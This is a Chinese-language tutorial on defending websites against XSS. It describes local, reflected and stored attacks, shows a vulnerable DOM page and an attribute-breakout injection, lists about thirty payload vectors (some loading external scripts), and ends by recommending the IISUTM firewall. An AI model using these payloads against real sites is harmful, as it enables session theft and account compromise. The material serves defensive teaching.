網站要怎么防範常見的XSS跨站式腳本攻擊呢,我們先從XSS跨站式腳本攻擊的原理來說起。
網站遭受XSS跨站式腳本攻擊的基本原理
1.本地利用漏洞,這種漏洞存在於頁面中客戶端腳本自身。
其攻擊過程如下所示:
A給B傳送一個惡意構造了Web的URL。
B點擊並查看了這個URL。
惡意頁面中的JavaScript打開一個具有漏洞的HTML頁面並將其安裝在B電腦上。
具有漏洞的HTML頁面包含了在B電腦本地域執行的JavaScript。
A的惡意腳本可以在B的電腦上執行B所持有的許可權下的命令。
2反射式漏洞,這種漏洞和本地利用漏洞有些類似,不同的是Web客戶端使用Server端腳本生成頁面為用戶提供數據時,如果未經驗證的用戶數據被包含在頁面中而未經HTML實體編碼,客戶端代碼便能夠注入到動態頁面中。
其攻擊過程如下:
A經常瀏覽某個網站,此網站為B所擁有。B的站點運行A使用用戶名/密碼進行登錄,並存儲敏感信息(比如銀行帳戶信息)。
C發現B的站點包含反射性的XSS漏洞。
C編寫一個利用漏洞的URL,並將其冒充為來自B的郵件傳送給A。
A在登錄到B的站點後,瀏覽C提供的URL。
嵌入到URL中的惡意腳本在A的瀏覽器中執行,就像它直接來自B的伺服器一樣。此腳本盜竊敏感信息(授權、信用卡、帳號信息等)然後在A完全不知情的情況下將這些信息傳送到C的Web站點。
3存儲式漏洞,該類型是套用最為廣泛而且有可能影響到Web伺服器自身安全的漏洞,駭客將攻擊腳本上傳到Web伺服器上,使得所有訪問該頁面的用戶都面臨信息泄漏的可能,其中也包括了Web伺服器的管理員。
其攻擊過程如下:
B擁有一個Web站點,該站點允許用戶發布信息/瀏覽已發布的信息。
C注意到B的站點具有存儲式的XXS漏洞。
C發布一個熱點信息,吸引其它用戶紛紛閱讀。
B或者是任何的其他人如A瀏覽該信息,其會話cookies或者其它信息將被C盜走。
類型A直接威脅用戶個體,而類型B和存儲式漏洞所威脅的對象都是企業級Web套用。
網站遭受XSS跨站式腳本攻擊的基本方式
1. DOM-based cross-site scripting
頁面本身包含一些DOM對象的操作,如果未對輸入的參數進行處理,可能會導致執行惡意腳本。如下面一些DOM操作:
document.URL
document.URLUnencoded
document.location (and many of its properties)
document.referrer
window.location (and many of its properties)
舉個例子,假如某個脆弱的頁面的代碼如下:
<HTML>
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
<BR>
Welcome to our system
…
</HTML>
攻擊者使用如下的URL訪問時,則非常危險:
http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>
試了一下,貌似IE、FireFox等瀏覽器默認 對<script>alert(document.cookie)</script>進行了編碼,阻止了腳本的執行。但是對於 DOM操作還是要更加謹慎啊,比如把上面的頁面修改一下,安全性就增強了不少:
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
var name=document.URL.substring(pos,document.URL.length);
if (name.match(/^[a-zA-Z0-9]$/))
{
document.write(name);
}
else
{
window.alert("Security error");
}
</SCRIPT>
2. Reflected cross-site scripting
也被稱為None-Persistent cross-site scripting,即,非持久化的XSS攻擊,是我們通常所說的,也是最常用,使用最廣的一種方式。它通過給別人傳送帶有惡意腳本代碼參數的URL,當 URL地址被打開時,特有的惡意代碼參數被HTML解析、執行。它的特點是非持久化,必須用戶點擊帶有特定參數的連結菜能引起。
3. Persistent cross-site scripting
持久化XSS攻擊,指的是惡意腳本代碼被存儲進被攻擊的資料庫,當其他用戶正常瀏覽網頁時,站點從資料庫中讀取了非法用戶存入非法數據,惡意腳本代碼被執行。這種攻擊類型通常在留言板等地方出現。
實施方式
我們來試一把Reflected cross-site scripting。當我們在某網站輸入參數XXX,發現參數XXX原樣的出現在了頁面源碼中:
<input type="text" class="Seach" name="w" value="XXX" />
OK,可以開始做文章了,我們將XXX替換為:abc"/><script>alert('haha')</script><a href=",返回的HTML代碼如下:
<input type="text" class="Seach" name="w" value="abc"/>
<script>alert('haha')</script><!--" />
這樣,<script>alert('haha')</script>被執行了。這裡再舉例一些XSS攻擊行為:
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC="javascript:alert(String.fromCharCode(88,83,83))">
<IMG SRC="jav ascript:alert('XSS');">
<SCRIPT/XSS SRC="http://example.com/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<iframe src=http://example.com/scriptlet.html <
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<body onload=alert(document.cookie)>
<BODY onload!#$%&()*~+-_.,:;?@[/|"]^`=alert("XSS")>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG DYNSRC="javascript:alert('XSS')">
<BR SIZE="&{alert('XSS')}">
<IMG SRC="vbscript:msgbox("XSS")">
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="width: expression(alert('XSS'));">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<?="<SCRIPT>alert("XSS")</SCRIPT>"?>
<A HREF="javascript:document.location="http://www.example.com/"">XSS</A>
<IMG SRC=javascript:alert('XSS')>
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
a="get";
b="URL(""";
c="javascript:";
d="alert('XSS');"")";
eval(a+b+c+d);
總結一下,要防止XSS跨站式腳本攻擊主要是要在查詢字元串(QueryString),表單數據(PostData)以及Cookie甚至HTTP報頭(Header)中防止掉一些javascript關鍵字和一些敏感的字元(單引號,分號)以及SQL語言的關鍵字,以及防止他們使用encode編碼。
用ASP或者PHP腳本來實現上面的這些想起來就很麻煩。下面就來介紹下用一個第三方工具iisutm來處理上面我們說到的問題。
準備工作:先去www.iisutm.com下載最新的IISUTM版本。
根據iisutm網站防火牆安裝及操作手冊 中的說明把IISUTM部署到你的伺服器上來,這裡需要注意的是使用Windows 2003+iis6的伺服器,需要開啟iis中“以IIS5.0 隔離模式運行 www 服務”選項才能正常使用該軟體。
安裝完成,通過瀏覽器訪問IISUTM的配置管理界面默認的是http://127.0.0.1:8362,這個是私有地址,只能在該伺服器上訪問,你需要任何地方都能訪問的話,可以在安裝的時候IP位址的選項那裡填入你伺服器的公網IP位址,和你所開放的連線埠。這樣你就可以通過你配置的地址進行訪問,或者你可以在iis中直接管理名為IISUTM的站點。
登入管理界面後點擊上面導航欄中的“基本設定”,然後點擊左邊選單的“防XSS攻擊”連結。
開啟該連結里所有的選項,選中之後IISUTM會自動保存配置,下面的“使用不允許的傳送序列”是該軟體提供的XSS攻擊關鍵字的特徵庫,你可以根據你網站的情況進行更改(最好不要修改)。
確認以上的配置以後,你可以返回到IISUTM管理界面的首頁,這裡會列出最近伺服器遭受到的攻擊以及詳細,趕緊去看看你的網站是不是隨時有人在進行SQL注入吧,以及哪些攻擊被IISUTM處理掉了。